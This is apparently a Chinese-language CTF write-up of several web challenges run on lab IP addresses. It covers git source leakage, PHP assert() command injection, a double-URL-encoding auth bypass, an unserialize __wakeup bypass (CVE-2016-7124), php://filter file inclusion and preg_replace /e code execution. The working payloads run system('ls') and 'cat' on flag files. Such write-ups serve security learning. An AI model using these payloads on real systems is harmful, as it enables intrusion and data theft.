前言:继续总结学到的新知识
在about页面发现,搭建网站时用了git
,尝试一下是否为git源码泄露
输入:
http://111.198.29.45:36544/.git/
果然是源码泄露,那就查看一下文件,发现并没有找到flag,在Github上下载git源码泄露工具
,可以得到其源码。
输入相应的命令:
python2 GitHack.py http://111.198.29.45:36544/.git/
得到源码,发现并没有flag
查看index.php发现
并没有对GET
进去的参数进行过滤,assert
函数中参数为表达式可以当作PHP
文件来执行,再了解一下以下这两个函数:
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
file_exists() 函数检查文件或目录是否存在
有了assert
函数,又没有过滤,可以用system()
函数进行查看文件等
?page=flag '.system("ls").'
?page=flag '.system("cd templates;ls").'
?page=flag '.system("cat templates/flag.php").'
注意:
system("") 中命令使用双引号
下载附件,打开文件发现乱码
不过还是能看到等标签的,后缀名改为
html
观察了还是没有什么头绪,继续看文件源代码
发现在文件最后有一个eval()
函数,改成可以弹窗的alert()
函数将脚本文件通过弹窗显示出来
eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行
^ 匹配输入字符串的开始位置
$ 匹配输入字符串的结尾位置
又限制了e的长度,^
和$
必须匹配到,所以可以构造
e=be0f23233ace98aa
什么也没有,抓包,御剑扫
发现index.php
,但是打开还是这个页面,那就试一下index.phps
,发现有源码泄露
这里解释一下.phps
文件
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。
接下来分析源代码
===是恒等计算符 同时检查表达式的值与类型
==是比较运算符号 不会检查条件式的表达式的类型
第一步需要使这行代码不成立
if("admin"===$_GET[id])
第二步需满足这行代码成立
$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin")
由于网站在解析输入的参数时会对非ASCII码的字符进行一次urlencode
所以构造payload时将其中一个字符urlencode
两次即可
payload:
http://111.198.29.45:40639/index.php?id=a%2564min
即可得出flag
PHP魔法函数中存在__wakeup()
方法,unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则先会调用__wakeup()
方法。
下面就来构造payload:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
#xctf后面的1即代表属性个数
发现回显结果为:
bad requests
这里是因为__wakeup()
的影响,所以要绕过__wakeup
,
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
故构造payload:
?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}
即可得出flag
补充:属性
类的变量成员叫做“属性”,或者叫“字段”、“特征”,在本文档统一称为“属性”。属性声明是由关键字 public,protected 或者 private 开头,然后跟一个普通的变量声明来组成。
// 正确的属性声明
public $var6 = myConstant;
御剑、源码都没有什么线索,点击一下云平台设备维护中心
,发现URL有变化
LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
所以猜测是应该是文件包含读源码
,利用php://filter
协议即可
?page=php://filter/read=convert.base64-encode/resource=index.php
base64解码得到index.php
源码,在源码中发现关键的代码
$_SERVER['HTTP_X_FORWARDED_FOR'] 获取IP地址
preg_replace($pattern, $replacement, $subject)
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组
这串代码存在一个漏洞,preg_replace
函数存在命令执行漏洞
preg_replace()
函数使用 /e
模式,导致代码执行的问题
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
所以利用这个漏洞可以执行一些命令
抓包,首先设置IP
地址为127.0.01
,再传入三个参数的值
?pat=/1234/e&rep=system("ls")&sub=1234
?pat=/1234/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=1234
在这里用空格会没有变化,用%20
或者+
代替,%26%26
为&&
A&&B A执行成功,然后才会执行B
?pat=/1234/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=1234
?pat=/1234/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1234
总结:这次就先总结到这里,下次继续总结!